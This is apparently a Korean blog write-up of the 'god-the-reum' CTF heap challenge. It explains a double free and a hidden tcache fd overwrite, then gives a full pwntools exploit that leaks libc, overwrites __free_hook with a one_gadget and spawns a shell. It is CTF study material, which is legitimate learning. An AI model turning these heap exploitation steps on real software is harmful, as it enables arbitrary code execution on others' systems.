티스토리 뷰

Summary

  • tcache(18.04) challenge

Analysis

 puts("====== Ethereum wallet service ========");
 puts("1. Create new wallet");
 puts("2. Deposit eth");
 puts("3. Withdraw eth");
 puts("4. Show all wallets");
 puts("5. exit");

Wallet[0] -> 16byte
Wallet[1] -> 16byte
Wallet[2] -> 16byte
Wallet[3] -> 16byte
Wallet[4] -> 16byte

 

지갑은 이렇게 5개까지 만들 수 있고, 구조체는

struct Wallet {
    int *fuck_rand_chunk = malloc(0x82);
    int *mysize_chunk = malloc(size);
}

이런식이다.

 

  • Create
    • 위 구조체에서 뒤에 청크를 원하는 size만큼 할당가능하다.
    • 만들어진 청크에는 입력받은 size가 적힌다.
  • Deposit
    • 지갑의 index를 입력받고 아까 만든 mysize_chunk에 입력받는 money를 += 한다.
  • Withdraw
    • 지갑의 index를 입력받고 입력받은 money가 *mysize_chunk - money == 0이면 그 청크를 free한다.
    • money에 0을 입력할 수 있어서 double free가 가능하다.
  • Show
    • 지갑들을 다 보여주는데 small bin 만들고 free해서 main_arena 위치 보이게 하고 show하면 leak이 되겠다.
  • hidden
    • index에서 6을 입력하면 사용할 수 있음.
    • mysize_chunk의 값을 다시 수정가능. -> free된 청크의 tcache bin fd도 적을 수 있다.

Exploit

  1. leak
    지갑들을 다 보여주는데 small bin 만들고 free해서 main_arena 위치 보이게 하고 show하면 leak이 되겠다.
  2. exploit
    free시키고 fd를 __free_hook으로 덮어주고 할당할당해서 one_shot을 적어준다.
from pwn import *

s = process("god-the-reum")
e = ELF("god-the-reum")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def Create(size):
    s.sendlineafter(": ", "1")
    s.sendlineafter(": ", str(size))

def Deposit(idx, money):
    s.sendlienafter(": ", "2")
    s.sendlineafter(": ", str(idx))
    s.sendlineafter(": ", str(money))

def Withdraw(idx, money):
    s.sendlineafter(": ", "3")
    s.sendlineafter(": ", str(idx))
    s.sendlineafter(": ", str(money))

def View():
    s.sendlineafter(": ", "4")

def Developer(idx, data):
    s.sendlineafter(": ", "6")
    s.sendlineafter(": ", str(idx))
    sleep(1)
    s.sendlineafter(": ", data)


Create(256)
Create(1040)
Create(1040)

Withdraw(1, 1040)#free
View()

s.recvuntil("ballance ")
s.recvuntil("ballance ")

libc_base = int(s.recvline()) - libc.symbols['__malloc_hook'] - 0x10 - 96
__free_hook = libc_base + libc.symbols['__free_hook']
__malloc_hook = libc_base + libc.symbols['__malloc_hook']

system = libc_base + libc.symbols['system']
magic = libc_base + 0x4f322
print(hex(libc_base))

Withdraw(0, 256)
Withdraw(0, 0)

Developer(0, p64(__free_hook))

Create(256)
Create(256)

Developer(4, p64(magic))
Withdraw(0, 256)

s.recv()
s.interactive()
Comments